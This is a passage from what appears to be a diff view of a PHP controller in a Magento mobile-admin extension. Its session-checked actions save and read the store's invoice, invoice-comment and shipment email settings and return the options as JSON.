| 3140 |
-
|
| 3141 |
-
|
| 3142 |
-
|
| 3143 |
-
|
| 3144 |
-
//Invoice Email Template for Guest
|
| 3145 |
-
if(isset($post_data['newOrderInvoiceForGuestVal']))
|
| 3146 |
-
{
|
| 3147 |
-
if($storeId == 0)
|
| 3148 |
-
{
|
| 3149 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/guest_template', $post_data['newOrderInvoiceForGuestVal'], 'default', $storeId);
|
| 3150 |
-
}
|
| 3151 |
-
else
|
| 3152 |
-
{
|
| 3153 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/guest_template', $post_data['newOrderInvoiceForGuestVal'], 'stores', $storeId);
|
| 3154 |
-
}
|
| 3155 |
-
|
| 3156 |
-
$salesEmailsAcion['successMessage'] = "Invoice Email Template for Guest updated On ".$storeName." Store.";
|
| 3157 |
-
Mage::getConfig()->reinit();
|
| 3158 |
-
Mage::app()->reinitStores();
|
| 3159 |
-
}
|
| 3160 |
-
$forGuestInvoiceEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/invoice/guest_template', $storeId);
|
| 3161 |
-
|
| 3162 |
-
$newOrderInvoiceEmailGuestTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 3163 |
-
$newOrderInvoiceEmailGuestTemCollection = $newOrderInvoiceEmailGuestTemObj->toOptionArray();
|
| 3164 |
-
if($newOrderInvoiceEmailGuestTemCollection[0]['value'] == "")
|
| 3165 |
-
{
|
| 3166 |
-
$newOrderInvoiceEmailGuestTemCollection[0]['value'] = "sales_email_invoice_guest_template";
|
| 3167 |
-
}
|
| 3168 |
-
|
| 3169 |
-
//echo "<pre>"; print_r($emailTemCollection); die;
|
| 3170 |
-
foreach ($newOrderInvoiceEmailGuestTemCollection as $value)
|
| 3171 |
-
{
|
| 3172 |
-
if($value['value'] == $forGuestInvoiceEmailTemplateSelectedValue)
|
| 3173 |
-
{
|
| 3174 |
-
$forGuestOrderEmailTemArr['label'] = "New Invoice for Guest (".$value['label'].")";
|
| 3175 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 3176 |
-
$forGuestOrderEmailTemArr['status'] = 1;
|
| 3177 |
-
$salesEmailsAcion['newOrderInvoiceForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 3178 |
-
}
|
| 3179 |
-
else
|
| 3180 |
-
{
|
| 3181 |
-
$forGuestOrderEmailTemArr['label'] = "New Invoice for Guest (".$value['label'].")";
|
| 3182 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 3183 |
-
$forGuestOrderEmailTemArr['status'] = 0;
|
| 3184 |
-
$salesEmailsAcion['newOrderInvoiceForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 3185 |
-
}
|
| 3186 |
-
}
|
| 3187 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 3188 |
-
|
| 3189 |
-
|
| 3190 |
-
|
| 3191 |
-
|
| 3192 |
-
//Send Invoice Email Copy To
|
| 3193 |
-
if(isset($post_data['emailInvoiceCopyToVal']))
|
| 3194 |
-
{
|
| 3195 |
-
if($storeId == 0)
|
| 3196 |
-
{
|
| 3197 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/copy_to', $post_data['emailInvoiceCopyToVal'], 'default', $storeId);
|
| 3198 |
-
}
|
| 3199 |
-
else
|
| 3200 |
-
{
|
| 3201 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/copy_to', $post_data['emailInvoiceCopyToVal'], 'stores', $storeId);
|
| 3202 |
-
}
|
| 3203 |
-
|
| 3204 |
-
$salesEmailsAcion['successMessage'] = "Send Invoice Email Copy To Value updated On ".$storeName." Store.";
|
| 3205 |
-
Mage::getConfig()->reinit();
|
| 3206 |
-
Mage::app()->reinitStores();
|
| 3207 |
-
}
|
| 3208 |
-
$salesEmailsAcion['emailInvoiceCopyToSelectedValue'] = Mage::getStoreConfig('sales_email/invoice/copy_to', $storeId);
|
| 3209 |
-
|
| 3210 |
-
|
| 3211 |
-
|
| 3212 |
-
//Send Invoice Email Copy Method
|
| 3213 |
-
if(isset($post_data['orderInvoiceEmailCopyVal']))
|
| 3214 |
-
{
|
| 3215 |
-
if($storeId == 0)
|
| 3216 |
-
{
|
| 3217 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/copy_method', $post_data['orderInvoiceEmailCopyVal'], 'default', $storeId);
|
| 3218 |
-
}
|
| 3219 |
-
else
|
| 3220 |
-
{
|
| 3221 |
-
Mage::getConfig()->saveConfig('sales_email/invoice/copy_method', $post_data['orderInvoiceEmailCopyVal'], 'stores', $storeId);
|
| 3222 |
-
}
|
| 3223 |
-
|
| 3224 |
-
$salesEmailsAcion['successMessage'] = "Send Invoice Email Copy Method Value updated On ".$storeName." Store.";
|
| 3225 |
-
Mage::getConfig()->reinit();
|
| 3226 |
-
Mage::app()->reinitStores();
|
| 3227 |
-
}
|
| 3228 |
-
$salesEmailsAcion['orderInvoiceEmailCopySelectedValue'] = Mage::getStoreConfig('sales_email/invoice/copy_method', $storeId);
|
| 3229 |
-
|
| 3230 |
-
|
| 3231 |
-
// echo "<pre>"; print_r($salesEmailsAcion); die;
|
| 3232 |
-
$jsonData = Mage::helper('core')->jsonEncode($salesEmailsAcion);
|
| 3233 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 3234 |
-
}
|
| 3235 |
-
catch(Exception $e)
|
| 3236 |
-
{
|
| 3237 |
-
$errorResult['error'] = $e->getMessage();
|
| 3238 |
-
|
| 3239 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 3240 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 3241 |
-
}
|
| 3242 |
-
}
|
| 3243 |
-
else
|
| 3244 |
-
{
|
| 3245 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 3246 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 3247 |
-
}
|
| 3248 |
-
}
|
| 3249 |
-
|
| 3250 |
-
|
| 3251 |
-
public function salesEmailsOrderInvoiceCommentAction()
|
| 3252 |
-
{
|
| 3253 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 3254 |
-
{
|
| 3255 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 3256 |
-
$sessionId = $post_data['session'];
|
| 3257 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 3258 |
-
{
|
| 3259 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 3260 |
-
return false;
|
| 3261 |
-
}
|
| 3262 |
-
|
| 3263 |
-
try
|
| 3264 |
-
{
|
| 3265 |
-
$storeId = $post_data['store'];
|
| 3266 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 3267 |
-
|
| 3268 |
-
|
| 3269 |
-
//Invoice Comments
|
| 3270 |
-
|
| 3271 |
-
//Enabled
|
| 3272 |
-
if(isset($post_data['salesEmailInvoiceCommentEnableVal']))
|
| 3273 |
-
{
|
| 3274 |
-
if($storeId == 0)
|
| 3275 |
-
{
|
| 3276 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/enabled', $post_data['salesEmailInvoiceCommentEnableVal'], 'default', $storeId);
|
| 3277 |
-
}
|
| 3278 |
-
else
|
| 3279 |
-
{
|
| 3280 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/enabled', $post_data['salesEmailInvoiceCommentEnableVal'], 'stores', $storeId);
|
| 3281 |
-
}
|
| 3282 |
-
|
| 3283 |
-
$salesEmailsAcion['successMessage'] = "Sales Email Extension for Invoice Comment updated On ".$storeName." Store.";
|
| 3284 |
-
Mage::getConfig()->reinit();
|
| 3285 |
-
Mage::app()->reinitStores();
|
| 3286 |
-
}
|
| 3287 |
-
$salesEmailsAcion['salesEmailInvoiceCommentEnableSelectedValue'] = Mage::getStoreConfig('sales_email/invoice_comment/enabled', $storeId);
|
| 3288 |
-
|
| 3289 |
-
|
| 3290 |
-
|
| 3291 |
-
//Invoice Comment Email Sender
|
| 3292 |
-
if(isset($post_data['invoiceCommentEmailVal']))
|
| 3293 |
-
{
|
| 3294 |
-
if($storeId == 0)
|
| 3295 |
-
{
|
| 3296 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/identity', $post_data['invoiceCommentEmailVal'], 'default', $storeId);
|
| 3297 |
-
}
|
| 3298 |
-
else
|
| 3299 |
-
{
|
| 3300 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/identity', $post_data['invoiceCommentEmailVal'], 'stores', $storeId);
|
| 3301 |
-
}
|
| 3302 |
-
|
| 3303 |
-
$salesEmailsAcion['successMessage'] = "Invoice Comment Email Sender updated On ".$storeName." Store.";
|
| 3304 |
-
Mage::getConfig()->reinit();
|
| 3305 |
-
Mage::app()->reinitStores();
|
| 3306 |
-
}
|
| 3307 |
-
$invoiceCommentEmailSelectedValue = Mage::getStoreConfig('sales_email/invoice_comment/identity', $storeId);
|
| 3308 |
-
|
| 3309 |
-
foreach ($this->emailSendersListArray() as $value)
|
| 3310 |
-
{
|
| 3311 |
-
if($value['value'] == $invoiceCommentEmailSelectedValue)
|
| 3312 |
-
{
|
| 3313 |
-
$emailComArr['label'] = $value['label'];
|
| 3314 |
-
$emailComArr['value'] = $value['value'];
|
| 3315 |
-
$emailComArr['status'] = 1;
|
| 3316 |
-
$salesEmailsAcion['invoiceCommentEmailList'][] = $emailComArr;
|
| 3317 |
-
}
|
| 3318 |
-
else
|
| 3319 |
-
{
|
| 3320 |
-
$emailComArr['label'] = $value['label'];
|
| 3321 |
-
$emailComArr['value'] = $value['value'];
|
| 3322 |
-
$emailComArr['status'] = 0;
|
| 3323 |
-
$salesEmailsAcion['invoiceCommentEmailList'][] = $emailComArr;
|
| 3324 |
-
}
|
| 3325 |
-
|
| 3326 |
-
}
|
| 3327 |
-
|
| 3328 |
-
|
| 3329 |
-
|
| 3330 |
-
//Invoice Comment Email Template
|
| 3331 |
-
if(isset($post_data['newOrderInvoiceCommentEmailTemplateVal']))
|
| 3332 |
-
{
|
| 3333 |
-
if($storeId == 0)
|
| 3334 |
-
{
|
| 3335 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/template', $post_data['newOrderInvoiceCommentEmailTemplateVal'], 'default', $storeId);
|
| 3336 |
-
}
|
| 3337 |
-
else
|
| 3338 |
-
{
|
| 3339 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/template', $post_data['newOrderInvoiceCommentEmailTemplateVal'], 'stores', $storeId);
|
| 3340 |
-
}
|
| 3341 |
-
|
| 3342 |
-
$salesEmailsAcion['successMessage'] = "Invoice Comment Email Template updated On ".$storeName." Store.";
|
| 3343 |
-
Mage::getConfig()->reinit();
|
| 3344 |
-
Mage::app()->reinitStores();
|
| 3345 |
-
}
|
| 3346 |
-
$newOrderInvoiceCommentEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/invoice_comment/template', $storeId);
|
| 3347 |
-
|
| 3348 |
-
$newOrderInvoiceCommentEmailTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 3349 |
-
$newOrderInvoiceCommentEmailTemCollection = $newOrderInvoiceCommentEmailTemObj->toOptionArray();
|
| 3350 |
-
if($newOrderInvoiceCommentEmailTemCollection[0]['value'] == "")
|
| 3351 |
-
{
|
| 3352 |
-
$newOrderInvoiceCommentEmailTemCollection[0]['value'] = "sales_email_invoice_comment_template";
|
| 3353 |
-
}
|
| 3354 |
-
//echo "<pre>"; print_r($newOrderInvoiceCommentEmailTemCollection); die;
|
| 3355 |
-
foreach ($newOrderInvoiceCommentEmailTemCollection as $value)
|
| 3356 |
-
{
|
| 3357 |
-
if($value['value'] == $newOrderInvoiceCommentEmailTemplateSelectedValue)
|
| 3358 |
-
{
|
| 3359 |
-
$newOrderEmailTemArr['label'] = "Invoice Update (".$value['label'].")";
|
| 3360 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 3361 |
-
$newOrderEmailTemArr['status'] = 1;
|
| 3362 |
-
$salesEmailsAcion['newOrderInvoiceCommentEmailTempColl'][] = $newOrderEmailTemArr;
|
| 3363 |
-
}
|
| 3364 |
-
else
|
| 3365 |
-
{
|
| 3366 |
-
$newOrderEmailTemArr['label'] = "Invoice Update (".$value['label'].")";
|
| 3367 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 3368 |
-
$newOrderEmailTemArr['status'] = 0;
|
| 3369 |
-
$salesEmailsAcion['newOrderInvoiceCommentEmailTempColl'][] = $newOrderEmailTemArr;
|
| 3370 |
-
}
|
| 3371 |
-
}
|
| 3372 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 3373 |
-
|
| 3374 |
-
|
| 3375 |
-
|
| 3376 |
-
|
| 3377 |
-
//Invoice Comment Email Template for Guest
|
| 3378 |
-
if(isset($post_data['newOrderInvoiceCommentsForGuestVal']))
|
| 3379 |
-
{
|
| 3380 |
-
if($storeId == 0)
|
| 3381 |
-
{
|
| 3382 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/guest_template', $post_data['newOrderInvoiceCommentsForGuestVal'], 'default', $storeId);
|
| 3383 |
-
}
|
| 3384 |
-
else
|
| 3385 |
-
{
|
| 3386 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/guest_template', $post_data['newOrderInvoiceCommentsForGuestVal'], 'stores', $storeId);
|
| 3387 |
-
}
|
| 3388 |
-
|
| 3389 |
-
$salesEmailsAcion['successMessage'] = "Invoice Comment Email Template for Guest updated On ".$storeName." Store.";
|
| 3390 |
-
Mage::getConfig()->reinit();
|
| 3391 |
-
Mage::app()->reinitStores();
|
| 3392 |
-
}
|
| 3393 |
-
$forGuestInvoiceCommentsEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/invoice_comment/guest_template', $storeId);
|
| 3394 |
-
|
| 3395 |
-
$newOrderInvoiceCommentEmailGuestTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 3396 |
-
$newOrderInvoiceCommentsEmailGuestTemCollection = $newOrderInvoiceCommentEmailGuestTemObj->toOptionArray();
|
| 3397 |
-
if($newOrderInvoiceCommentsEmailGuestTemCollection[0]['value'] == "")
|
| 3398 |
-
{
|
| 3399 |
-
$newOrderInvoiceCommentsEmailGuestTemCollection[0]['value'] = "sales_email_invoice_comment_guest_template";
|
| 3400 |
-
}
|
| 3401 |
-
|
| 3402 |
-
//echo "<pre>"; print_r($emailTemCollection); die;
|
| 3403 |
-
foreach ($newOrderInvoiceCommentsEmailGuestTemCollection as $value)
|
| 3404 |
-
{
|
| 3405 |
-
if($value['value'] == $forGuestInvoiceCommentsEmailTemplateSelectedValue)
|
| 3406 |
-
{
|
| 3407 |
-
$forGuestOrderEmailTemArr['label'] = "Invoice Update for Guest (".$value['label'].")";
|
| 3408 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 3409 |
-
$forGuestOrderEmailTemArr['status'] = 1;
|
| 3410 |
-
$salesEmailsAcion['newOrderInvoiceCommentsForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 3411 |
-
}
|
| 3412 |
-
else
|
| 3413 |
-
{
|
| 3414 |
-
$forGuestOrderEmailTemArr['label'] = "Invoice Update for Guest (".$value['label'].")";
|
| 3415 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 3416 |
-
$forGuestOrderEmailTemArr['status'] = 0;
|
| 3417 |
-
$salesEmailsAcion['newOrderInvoiceCommentsForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 3418 |
-
}
|
| 3419 |
-
}
|
| 3420 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 3421 |
-
|
| 3422 |
-
|
| 3423 |
-
|
| 3424 |
-
|
| 3425 |
-
//Send Invoice Comment Email Copy To
|
| 3426 |
-
if(isset($post_data['emailInvoiceCommentCopyToVal']))
|
| 3427 |
-
{
|
| 3428 |
-
if($storeId == 0)
|
| 3429 |
-
{
|
| 3430 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/copy_to', $post_data['emailInvoiceCommentCopyToVal'], 'default', $storeId);
|
| 3431 |
-
}
|
| 3432 |
-
else
|
| 3433 |
-
{
|
| 3434 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/copy_to', $post_data['emailInvoiceCommentCopyToVal'], 'stores', $storeId);
|
| 3435 |
-
}
|
| 3436 |
-
|
| 3437 |
-
$salesEmailsAcion['successMessage'] = "Send Invoice Comment Email Copy To Value updated On ".$storeName." Store.";
|
| 3438 |
-
Mage::getConfig()->reinit();
|
| 3439 |
-
Mage::app()->reinitStores();
|
| 3440 |
-
}
|
| 3441 |
-
$salesEmailsAcion['emailInvoiceCommentsCopyToSelectedValue'] = Mage::getStoreConfig('sales_email/invoice_comment/copy_to', $storeId);
|
| 3442 |
-
|
| 3443 |
-
|
| 3444 |
-
|
| 3445 |
-
//Send Invoice Comments Email Copy Method
|
| 3446 |
-
if(isset($post_data['orderInvoiceCommentEmailCopyVal']))
|
| 3447 |
-
{
|
| 3448 |
-
if($storeId == 0)
|
| 3449 |
-
{
|
| 3450 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/copy_method', $post_data['orderInvoiceCommentEmailCopyVal'], 'default', $storeId);
|
| 3451 |
-
}
|
| 3452 |
-
else
|
| 3453 |
-
{
|
| 3454 |
-
Mage::getConfig()->saveConfig('sales_email/invoice_comment/copy_method', $post_data['orderInvoiceCommentEmailCopyVal'], 'stores', $storeId);
|
| 3455 |
-
}
|
| 3456 |
-
|
| 3457 |
-
$salesEmailsAcion['successMessage'] = "Send Invoice Comments Email Copy Method Value updated On ".$storeName." Store.";
|
| 3458 |
-
Mage::getConfig()->reinit();
|
| 3459 |
-
Mage::app()->reinitStores();
|
| 3460 |
-
}
|
| 3461 |
-
$salesEmailsAcion['orderInvoiceCommentEmailCopySelectedValue'] = Mage::getStoreConfig('sales_email/invoice_comment/copy_method', $storeId);
|
| 3462 |
-
|
| 3463 |
-
|
| 3464 |
-
// echo "<pre>"; print_r($salesEmailsAcion); die;
|
| 3465 |
-
$jsonData = Mage::helper('core')->jsonEncode($salesEmailsAcion);
|
| 3466 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 3467 |
-
}
|
| 3468 |
-
catch(Exception $e)
|
| 3469 |
-
{
|
| 3470 |
-
$errorResult['error'] = $e->getMessage();
|
| 3471 |
-
|
| 3472 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 3473 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 3474 |
-
}
|
| 3475 |
-
}
|
| 3476 |
-
else
|
| 3477 |
-
{
|
| 3478 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 3479 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 3480 |
-
}
|
| 3481 |
-
}
|
| 3482 |
-
|
| 3483 |
-
|
| 3484 |
-
public function salesEmailsOrderShipmentAction()
|
| 3485 |
-
{
|
| 3486 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 3487 |
-
{
|
| 3488 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 3489 |
-
$sessionId = $post_data['session'];
|
| 3490 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 3491 |
-
{
|
| 3492 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 3493 |
-
return false;
|
| 3494 |
-
}
|
| 3495 |
-
|
| 3496 |
-
try
|
| 3497 |
-
{
|
| 3498 |
-
$storeId = $post_data['store'];
|
| 3499 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 3500 |
-
|
| 3501 |
-
|
| 3502 |
-
//Shipment
|
| 3503 |
-
|
| 3504 |
-
//Enabled
|
| 3505 |
-
if(isset($post_data['salesEmailShipmentEnableVal']))
|
| 3506 |
-
{
|
| 3507 |
-
if($storeId == 0)
|
| 3508 |
-
{
|
| 3509 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/enabled', $post_data['salesEmailShipmentEnableVal'], 'default', $storeId);
|
| 3510 |
-
}
|
| 3511 |
-
else
|
| 3512 |
-
{
|
| 3513 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/enabled', $post_data['salesEmailShipmentEnableVal'], 'stores', $storeId);
|
| 3514 |
-
}
|
| 3515 |
-
|
| 3516 |
-
$salesEmailsAcion['successMessage'] = "Sales Email Extension for Shipment updated On ".$storeName." Store.";
|
| 3517 |
-
Mage::getConfig()->reinit();
|
| 3518 |
-
Mage::app()->reinitStores();
|
| 3519 |
-
}
|
| 3520 |
-
$salesEmailsAcion['salesEmailShipmentEnableSelectedValue'] = Mage::getStoreConfig('sales_email/shipment/enabled', $storeId);
|
| 3521 |
-
|
| 3522 |
-
|
| 3523 |
-
|
| 3524 |
-
//Shipment Email Sender
|
| 3525 |
-
if(isset($post_data['shipmentEmailVal']))
|
| 3526 |
-
{
|
| 3527 |
-
if($storeId == 0)
|
| 3528 |
-
{
|
| 3529 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/identity', $post_data['shipmentEmailVal'], 'default', $storeId);
|
| 3530 |
-
}
|
| 3531 |
-
else
|
| 3532 |
-
{
|
| 3533 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/identity', $post_data['shipmentEmailVal'], 'stores', $storeId);
|
| 3534 |
-
}
|
| 3535 |
-
|
| 3536 |
-
$salesEmailsAcion['successMessage'] = "Shipment Email Sender updated On ".$storeName." Store.";
|
| 3537 |
-
Mage::getConfig()->reinit();
|
| 3538 |
-
Mage::app()->reinitStores();
|
| 3539 |
-
}
|
| 3540 |
-
$shipmentEmailSelectedValue = Mage::getStoreConfig('sales_email/shipment/identity', $storeId);
|
| 3541 |
-
|
| 3542 |
-
foreach ($this->emailSendersListArray() as $value)
|
| 3543 |
-
{
|
| 3544 |
-
if($value['value'] == $shipmentEmailSelectedValue)
|
| 3545 |
-
{
|
| 3546 |
-
$emailComArr['label'] = $value['label'];
|
| 3547 |
-
$emailComArr['value'] = $value['value'];
|
| 3548 |
-
$emailComArr['status'] = 1;
|
| 3549 |
-
$salesEmailsAcion['shipmentEmailList'][] = $emailComArr;
|
| 3550 |
-
}
|
| 3551 |
-
else
|
| 3552 |
-
{
|
| 3553 |
-
$emailComArr['label'] = $value['label'];
|
| 3554 |
-
$emailComArr['value'] = $value['value'];
|
| 3555 |
-
$emailComArr['status'] = 0;
|
| 3556 |
-
$salesEmailsAcion['shipmentEmailList'][] = $emailComArr;
|
| 3557 |
-
}
|
| 3558 |
-
|
| 3559 |
-
}
|
| 3560 |
-
|
| 3561 |
-
|
| 3562 |
-
|
| 3563 |
-
|
| 3564 |
-
//Shipment Email Template
|
| 3565 |
-
if(isset($post_data['newOrderShipmentEmailTemplateVal']))
|
| 3566 |
-
{
|
| 3567 |
-
if($storeId == 0)
|
| 3568 |
-
{
|
| 3569 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/template', $post_data['newOrderShipmentEmailTemplateVal'], 'default', $storeId);
|
| 3570 |
-
}
|
| 3571 |
-
else
|
| 3572 |
-
{
|
| 3573 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/template', $post_data['newOrderShipmentEmailTemplateVal'], 'stores', $storeId);
|
| 3574 |
-
}
|
| 3575 |
-
|
| 3576 |
-
$salesEmailsAcion['successMessage'] = "Shipment Email Template updated On ".$storeName." Store.";
|
| 3577 |
-
Mage::getConfig()->reinit();
|
| 3578 |
-
Mage::app()->reinitStores();
|
| 3579 |
-
}
|
| 3580 |
-
$newOrderShipmentEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/shipment/template', $storeId);
|
| 3581 |
-
|
| 3582 |
-
$newOrderShipmentEmailTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 3583 |
-
$newOrderShipmentEmailTemCollection = $newOrderShipmentEmailTemObj->toOptionArray();
|
| 3584 |
-
if($newOrderShipmentEmailTemCollection[0]['value'] == "")
|
| 3585 |
-
{
|
| 3586 |
-
$newOrderShipmentEmailTemCollection[0]['value'] = "sales_email_shipment_template";
|
| 3587 |
-
}
|
| 3588 |
-
//echo "<pre>"; print_r($newOrderShipmentEmailTemCollection); die;
|
| 3589 |
-
foreach ($newOrderShipmentEmailTemCollection as $value)
|
| 3590 |
-
{
|
| 3591 |
-
if($value['value'] == $newOrderShipmentEmailTemplateSelectedValue)
|
| 3592 |
-
{
|
| 3593 |
-
$newOrderEmailTemArr['label'] = "New Shipment (".$value['label'].")";
|
| 3594 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 3595 |
-
$newOrderEmailTemArr['status'] = 1;
|
| 3596 |
-
$salesEmailsAcion['newOrderShipmentEmailTempColl'][] = $newOrderEmailTemArr;
|
| 3597 |
-
}
|
| 3598 |
-
else
|
| 3599 |
-
{
|
| 3600 |
-
$newOrderEmailTemArr['label'] = "New Shipment (".$value['label'].")";
|
| 3601 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 3602 |
-
$newOrderEmailTemArr['status'] = 0;
|
| 3603 |
-
$salesEmailsAcion['newOrderShipmentEmailTempColl'][] = $newOrderEmailTemArr;
|
| 3604 |
-
}
|
| 3605 |
-
}
|
| 3606 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 3607 |
-
|
| 3608 |
-
|
| 3609 |
-
|
| 3610 |
-
|
| 3611 |
-
//Shipment Email Template for Guest
|
| 3612 |
-
if(isset($post_data['newOrderShipmentForGuestVal']))
|
| 3613 |
-
{
|
| 3614 |
-
if($storeId == 0)
|
| 3615 |
-
{
|
| 3616 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/guest_template', $post_data['newOrderShipmentForGuestVal'], 'default', $storeId);
|
| 3617 |
-
}
|
| 3618 |
-
else
|
| 3619 |
-
{
|
| 3620 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/guest_template', $post_data['newOrderShipmentForGuestVal'], 'stores', $storeId);
|
| 3621 |
-
}
|
| 3622 |
-
|
| 3623 |
-
$salesEmailsAcion['successMessage'] = "Shipment Email Template for Guest updated On ".$storeName." Store.";
|
| 3624 |
-
Mage::getConfig()->reinit();
|
| 3625 |
-
Mage::app()->reinitStores();
|
| 3626 |
-
}
|
| 3627 |
-
$forGuestShipmentEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/shipment/guest_template', $storeId);
|
| 3628 |
-
|
| 3629 |
-
$newOrderShipmentEmailGuestTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 3630 |
-
$newOrderShipmentEmailGuestTemCollection = $newOrderShipmentEmailGuestTemObj->toOptionArray();
|
| 3631 |
-
if($newOrderShipmentEmailGuestTemCollection[0]['value'] == "")
|
| 3632 |
-
{
|
| 3633 |
-
$newOrderShipmentEmailGuestTemCollection[0]['value'] = "sales_email_shipment_guest_template";
|
| 3634 |
-
}
|
| 3635 |
-
|
| 3636 |
-
//echo "<pre>"; print_r($emailTemCollection); die;
|
| 3637 |
-
foreach ($newOrderShipmentEmailGuestTemCollection as $value)
|
| 3638 |
-
{
|
| 3639 |
-
if($value['value'] == $forGuestShipmentEmailTemplateSelectedValue)
|
| 3640 |
-
{
|
| 3641 |
-
$forGuestOrderEmailTemArr['label'] = "New Shipment for Guest (".$value['label'].")";
|
| 3642 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 3643 |
-
$forGuestOrderEmailTemArr['status'] = 1;
|
| 3644 |
-
$salesEmailsAcion['newOrderShipmentForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 3645 |
-
}
|
| 3646 |
-
else
|
| 3647 |
-
{
|
| 3648 |
-
$forGuestOrderEmailTemArr['label'] = "New Shipment for Guest (".$value['label'].")";
|
| 3649 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 3650 |
-
$forGuestOrderEmailTemArr['status'] = 0;
|
| 3651 |
-
$salesEmailsAcion['newOrderShipmentForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 3652 |
-
}
|
| 3653 |
-
}
|
| 3654 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 3655 |
-
|
| 3656 |
-
|
| 3657 |
-
|
| 3658 |
-
|
| 3659 |
-
//Send Shipment Email Copy To
|
| 3660 |
-
if(isset($post_data['emailShipmentCopyToVal']))
|
| 3661 |
-
{
|
| 3662 |
-
if($storeId == 0)
|
| 3663 |
-
{
|
| 3664 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/copy_to', $post_data['emailShipmentCopyToVal'], 'default', $storeId);
|
| 3665 |
-
}
|
| 3666 |
-
else
|
| 3667 |
-
{
|
| 3668 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/copy_to', $post_data['emailShipmentCopyToVal'], 'stores', $storeId);
|
| 3669 |
-
}
|
| 3670 |
-
|
| 3671 |
-
$salesEmailsAcion['successMessage'] = "Send Shipment Email Copy To Value updated On ".$storeName." Store.";
|
| 3672 |
-
Mage::getConfig()->reinit();
|
| 3673 |
-
Mage::app()->reinitStores();
|
| 3674 |
-
}
|
| 3675 |
-
$salesEmailsAcion['emailShipmentCopyToSelectedValue'] = Mage::getStoreConfig('sales_email/shipment/copy_to', $storeId);
|
| 3676 |
-
|
| 3677 |
-
|
| 3678 |
-
|
| 3679 |
-
//Send Shipment Email Copy Method
|
| 3680 |
-
if(isset($post_data['orderShipmentEmailCopyVal']))
|
| 3681 |
-
{
|
| 3682 |
-
if($storeId == 0)
|
| 3683 |
-
{
|
| 3684 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/copy_method', $post_data['orderShipmentEmailCopyVal'], 'default', $storeId);
|
| 3685 |
-
}
|
